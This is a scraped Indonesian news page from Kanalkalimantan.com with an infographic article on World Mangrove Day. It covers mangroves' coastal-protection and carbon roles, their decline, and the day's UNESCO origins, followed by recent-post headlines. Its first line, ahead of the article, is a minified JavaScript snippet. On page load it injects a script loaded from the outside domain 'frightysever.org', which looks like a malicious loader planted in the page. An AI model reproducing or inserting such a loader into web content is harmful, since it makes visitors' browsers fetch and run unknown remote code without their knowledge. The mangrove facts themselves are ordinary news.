(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Infografis Kanalkalimantan

26 Juli Hari Mangrove Sedunia, Ekosistem Pertahanan Pantai Alami


KANALKALIMANTAN.COM – Hari Mangrove Sedunia diperingati setiap tanggal 26 Juli. Peringatan bertujuan untuk mempromosikan konservasi serta pertumbuhan hutan mangrove agar berkelanjutan.

Hutan mangrove berperan dalam menjaga keseimbangan ekosistem serta mendukung keanekaragaman hayati. Akar mangrove merupakan tempat hidup dan berkembang biak bagi organisme.

Selain itu, hutan pesisir juga menyerap karbondioksida lima kali lebih banyak dari atmosfer daripada hutan daratan. Namun sayang, luas hutan bakau lambat laun semakin berkurang.

Disebutkan, sejak 1980-2010, lebih dari seperlima hutan bakau menghilang, beberapa negara bahkan kehilangan lebih dari 80% populasi mangrove. Penyebabnya adalah perubahan lingkungan akibat antropogenik.

Baca juga: Lurah Guntung Manggis Zikru Rakhman Wakil Kalsel di Anugerah ASN 2023

Hutan bakau juga berfungsi sebagai bentuk pertahanan pantai alami terhadap gelombang badai, tsunami, naiknya permukaan air laut, dan erosi. Tanahnya merupakan penyerap karbon yang sangat efektif, menyerap karbon dalam jumlah yang sangat besar.

Namun, ekosistem mangrove atau hutan bakau kini menghilang 3-5 kali lebih cepat daripada kehilangan hutan global secara keseluruhan, dengan dampak ekologi dan sosial-ekonomi yang serius. Perkiraan saat ini menunjukkan bahwa luasan mangrove telah terbagi dua dalam 40 tahun terakhir.

 

Sejarah dan Latar Belakang Peringatannya

Hari Mangrove Sedunia atau Hari Internasional untuk Konservasi Ekosistem Mangrove ini diadopsi oleh UNESCO dalam Konferensi Umum pada Juli 2015, untuk meningkatkan kesadaran akan pentingnya ekosistem mangrove. Hari ini bertujuan untuk mempromosikan konservasi dan pertumbuhan hutan bakau yang berkelanjutan.

Baca juga: Temuan Orok Perempuan di Banjarmasin: Dilahirkan di Kamar Mandi, Dibekap, Dilempar ke Samping Rumah

Mengutip dari laman resmi Kementerian Lingkungan Hidup dan Kehutanan (KLHK), maraknya pencetakan tambak udang dengan membabat ekosistem mangrove di Ekuador menjadi latar belakang diusulkannya penetapan Hari Mangrove Internasional.

Ekuador mengusulkan penetapan Hari Mangrove Internasional dengan dukungan Group of Latin America and the Caribbean (GRULAC). Peristiwa 26 Juli 1998, menjadi momen emosional bagi masyarakat Ekuador, sehingga diperingati sebagai Hari Mangrove Sedunia. (Kanalkalimantan.com/kk)

Editor: kk


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.